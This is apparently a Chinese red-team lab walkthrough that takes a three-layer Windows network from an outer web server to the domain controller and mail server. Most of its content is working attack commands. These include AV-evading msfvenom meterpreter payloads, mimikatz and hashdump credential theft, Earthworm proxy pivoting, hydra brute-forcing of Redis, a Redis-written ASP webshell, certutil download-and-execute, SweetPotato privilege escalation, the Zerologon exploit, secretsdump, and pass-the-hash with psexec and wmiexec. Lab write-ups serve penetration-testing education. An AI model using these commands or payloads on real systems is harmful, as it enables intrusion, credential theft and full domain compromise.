百目无她,百书质华,君当醒悟,建我中华
本文首发于先知社区,原创作者即是本人
前言
在红队攻防中,我们主要在外网进行信息收集,通过cms或者其他漏洞拿到shell,之后通过免杀木马将windows或linux服务器上线到cobalt strike或msf等c2服务器,之后对内网进行信息收集并绘制网络拓扑图,进行工作组或域渗透,拿到各个网段机器的权限,远程登陆并截图证明。
环境配置
从虚拟机网络来看
机器描述
攻击机:
win10:192.168.1.6
kali:192.168.1.10
第一层:12server-bt:
192.168.1.5
192.168.59.133
第二层:12server-redis:
192.168.59.4
10.10.10.202
第三层:
12server-ex13:
10.10.10.209
第三层:
12server-dc:
10.10.10.201
192.168.59.133 存在杀软(火绒), 可通外网, 可访问server-redis
192.168.59.4/10.10.10.202 不通外网,可以通内网两个机器,也可以访问到机器server-bt,
10.10.10.209 为邮服, 只能内网机器互相访问
10.10.10.201 为 DC
目录如下
第一层 server-bt
蚁剑拿shell
此部分参考本人发表的上一上一篇文章《红队攻防实战系列一之Cobalt Strike》
文章链接:
红队攻防实战系列一之Cobalt Strike
红队攻防实战系列一之Cobalt Strike
msf免杀拿shell
使用msfvenom生成免杀木马payload,里面的IP和端口自行修改,就是反弹shell的kali
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=6666 -e x86/shikata_ga_nai -i 12 -f raw -o msf.bin
使用分离免杀工具生成loader.exe文件
对生成的exe文件进行加壳免杀
免杀效果如下
免杀之后通过蚁剑上传到server-bt上
msf开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set lport 6666
run
蚁剑运行
getuid
ps
migrate 476
msf内网渗透
load mimikatz # 加载Mimikatz模块
抓取Hash
meterpreter > mimikatz_command -f samdump::hashes
hashdump
然后抓到了 hash:
通过解密得到了 administrator 的密码
route print # 打印路由信息
对内网进行扫描 arp 存活
run post/windows/gather/arp_scanner rhosts=192.168.59.0/24
配置路由
meterpreter > run autoroute -s 192.168.59.0/24
开启远程桌面
run post/windows/manage/enable_rdp
成功开启了远程桌面,并且生成了一个txt文件,这个txt文件往后可用来关闭远程桌面,关闭命令
run multi_console_command -r /root/.msf4/loot/xx_default_192.168.1.5_host.windows.cle_xxx5.txt
绕过火绒添加用户
蚂蚁剑或者cs上传添加用户.exe
运行文件
帐号:hxxxr 密码:Pxxxxd
远程登录server-bt
权限提升
使用psexec.exe可以提升到system权限
psexec.exe -accepteula -s -i -d cmd.exe
但是桌面还是之前用户的权限启动的
为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器
在任务管理器里面我们结束掉之前由之前账号开启的桌面进程
然后再添加一个由system权限下开启的桌面进程
再点入看现在登入的账号是
第二层 server-redis
Earthworm穿透
上传EW(Earthworm)到C:/wwwroot/
服务器端执行以下命令
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 192.168.1.5 1090
探测内网网段存活主机
proxychains nmap -sT -Pn -p 80 192.168.59.0/24
192.168.59.4是存活的,我们着重看一下,发现开了80和6379
Redis-getshell
kali环境进行爆破
proxychains hydra -P /usr/xxx/password.lst 192.168.59.4 redis 6379
得到Redis口令:
连接redis
proxychains src/redis-cli -h 192.168.59.4 -a 1xxxxx
备份文件写Shell
192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot" 进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp" 创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>" 写入webshell
192.168.59.4:6379>save 最后保存
利用过程
代理蚁剑进行连接这个shell
成功连接到server-redis
并查看权限
利用蚁剑把SweetPotato.exe(甜土豆)上传到C:/Redis/或者C:/ProgramData/目录下
成功进行提权
msf正向免杀木马拿到shell
Earthworm穿透
挂代理,通过之前上传的EW(Earthworm)
服务器端执行以下命令(关掉server-bt的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 192.168.1.5 1090
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin
用msfvenom生成一个正向马传进去(因为无法访问外网,反向出不来),msf正向连接。
使用分离免杀工具生成loader.exe文件
改名为msf1.exe,进行加壳免杀
免杀效果如下
先把木马通过蚂蚁剑上传到宝塔(需要进行免杀),火绒未告警
通过redis的shell进行操作,192.168.59.4远程下载192.168.59.133上的马
C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/msf1.exe msf1.exe
再通过提权工具进行执行
C:\ProgramData\xxxx.exe -i -c “msf1.exe”
也可以直接将木马上传到server-redis的C:/Redis/可写目录下就不需要免杀了
msf通过代理开启监听
proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.59.4
set lport 4444
run
成功获取服务器的shell,之后就是各种权限维持了。创建计划任务、开机自启等等都能够实现。
ps
migrate 3992
getuid
getsystem
getuid
添加账户和远程连接同第一层
msf内网渗透
load mimikatz # 加载Mimikatz模块
抓取Hash
meterpreter > mimikatz_command -f samdump::hashes
hashdump
得到12SERVER-REDIS账号密码:
route print # 打印路由信息
配置路由
meterpreter > run autoroute -s 10.10.10.0/24
run autoroute -p
通过蚂蚁剑将nbtscan.exe上传到server-redis的Redis可读写目录下
探测内网段存活
nbtscan.exe 10.10.10.0/24
ipconfig /all
10.10.10.0/24段的DNS服务器是10.10.10.201 而在域环境中DNS服务器就是当前使用的域控制器
添加完路由后可以通过msf访问所有机器,访问域控
proxychains curl 10.10.10.201
第三层 server-dc
zerologon(CVE-2020-1472)漏洞复现
这里已经满足触发zerologon的两个条件,能ping通域控制器,知道域控计算机名,当然最后dump出域内所有hash的时候需要域名
置空域控机器用户NTLM hash
proxychains python3 cve-2020-1472-exploit.py 12server-dc$ 10.10.10.201
接下来用置空的机器账户dump所有hash
proxychains secretsdump.py -hashes :31d6cfxxxxxxx089c0 'xxxxx.xx/12server-dc$@10.10.10.201'
(890c这个hash就是"空"的NTML hash)
我们的目标是获得域内administrator的hash,然后就可以hash传递,登陆任意域内机器
proxychains wmiexec.py -hashes :42e265xxxxxx62387 administrator@10.10.10.201
利用 psexec(PTH)上线server-dc到 MSF:
proxychains msfconsole
use exploit/windows/smb/psexec
set RHOST 10.10.10.201
set SMBUser Administrator
set SMBPass aad3bxxxxxxxx4ee:42e265xxxxxx962387
set SMBDomain xxxxx
set payload windows/x64/meterpreter/bind_tcp_rc4
set LPORT 4446
run
成功获取到shell
利用 psexec 上线server-ex13到 MSF:
proxychains msfconsole
use exploit/windows/smb/psexec
set RHOST 10.10.10.209
set SMBUser Administrator
set SMBPass aad3bxxxxxxxee:42exxxxxxx387
set SMBDomain xxxx
set payload windows/x64/meterpreter/bind_tcp_rc4
set LPORT 4447
run
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85